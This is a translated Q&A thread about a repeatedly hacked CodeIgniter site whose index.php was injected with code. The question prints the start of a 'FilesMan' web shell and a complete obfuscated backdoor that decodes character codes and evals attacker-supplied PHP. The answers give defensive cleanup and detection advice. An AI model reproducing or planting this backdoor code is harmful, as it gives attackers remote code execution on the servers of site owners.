Codeigniter应用程序被黑客入侵,代码注入index.php

时间:2012-09-04 13:06:35

标签: php security codeigniter codeigniter-2 code-injection

我有一个不断被黑客攻击的codeigniter 2.0.2项目。有两个主要问题:

  • 恶意代码被添加到index.php文件
  • 的开头
  • 将恶意文件添加到服务器

根据主机的说法,没有FTP日志表明这些文件已上传。

  1. 由于没有与恶意文件相关的FTP上传日志 - 这是否意味着它必须是通过网站本身的利用,例如联系或上传表格?

  2. 该网站位于共享主机上 - 代码是同一台服务器上的网站也遭到黑客攻击,这会导致问题?

  3. 如果我将index.php的文件名更改为其他内容会有帮助吗?

  4. index.php被修改后,我应该将其修改为644吗?

  5. 我一直在寻找codeigniter项目的建议权限,但尚未获得任何来源。除了上传/日志目录(777)之外,我在网站上想到644 - 这听起来不错吗?

  6. 注入index.php文件顶部的代码:

    <?php if(isset($_GET["t6371n"])){ $auth_pass="";$color="#df5";$default_action="FilesMan";$default_use_ajax=true;$default_charset="Windows-

    然后是一个带有长编码字符串的长preg_replace语句。接下来是第二个声明:

    if(isset($_GET["w6914t"])){$d=substr(8,1);foreach(array(36,112,61,64,36,95,80,79,83,84,91,39,112,49,39,93,59,36,109,61,115,112,114,105,110,116,102,40,34,37,99,34,44,57,50,41,59,105,102,40,115,116,114,112,111,115,40,36,112,44,34,36,109,36,109,34,41,41,123,36,112,61,115,116,114,105,112,115,108,97,115,104,101,115,40,36,112,41,59,125,111,98,95,115,116,97,114,116,40,41,59,101,118,97,108,40,36,112,41,59,36,116,101,109,112,61,34,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,34,46,97,100,100,99,115,108,97,115,104,101,115,40,104,116,109,108,115,112,101,99,105,97,108,99,104,97,114,115,40,111,98,95,103,101,116,95,99,108,101,97,110,40,41,41,44,34,92,110,92,114,92,116,92,92,39,92,48,34,41,46,34,39,59,92,110,34,59,101,99,104,111,40,115,116,114,108,101,110,40,36,116,101,109,112,41,46,34,92,110,34,46,36,116,101,109,112,41,59,101,120,105,116,59)as$c){$d.=sprintf((substr(urlencode(print_r(array(),1)),5,1).c),$c);}eval($d);}

    有一个联系表单和一个表单,用户可以使用CKFinder 2.0.1上传项目。要更新它,看看是否能解决它。

4 个答案:

答案 0 :(得分:11)

你可以做几件事:

  • 检查您的日志文件是否有对具有奇怪或不熟悉名称的文件的POST请求,例如: .cache_123.php - 这些可能是后门脚本,尤其是以点开头的文件名,因此将其隐藏在(常规)文件系统中。
  • 下载完整的实际网站,并在网站范围内搜索base64_decodeexecpreg_replacepassthrusystem,{ {1}},shell_execeval
  • 通过反病毒软件(AVG,Avast,...)运行它来检查整个(下载的实时)网站
  • 如果可能,Chmod上传目录775而不是777

答案 1 :(得分:2)

我知道这是一个旧线程,但我想添加一个选项来确定问题发生的原因和位置。

创建一个钩子,每次加载(在哪个阶段无关紧要)并将$ this-&gt; input-&gt; post()和 - &gt; get()与classname一起转储到日志文件中方法名称。

通过这种方式,您可以更快地看到问题出现的位置。

答案 2 :(得分:0)

我认为通过PHP应用程序而不是FTP服务器来破解要容易得多。你有任何上传表格吗?如果您无法使用VPS,请尝试让您的主机将其移至另一台共享服务器。

答案 3 :(得分:0)

我认为您确实需要执行代码审核以找出核心漏洞所在的位置。除非您运行某种完整性检查,否则您无法确定攻击者是否已将后门放入其他文件中。

作为快速修复,我建议您尽可能安装ModSecurity Apache模块。接下来,在代码中查找可能发生文件注入的位置(通常是文件上载功能)。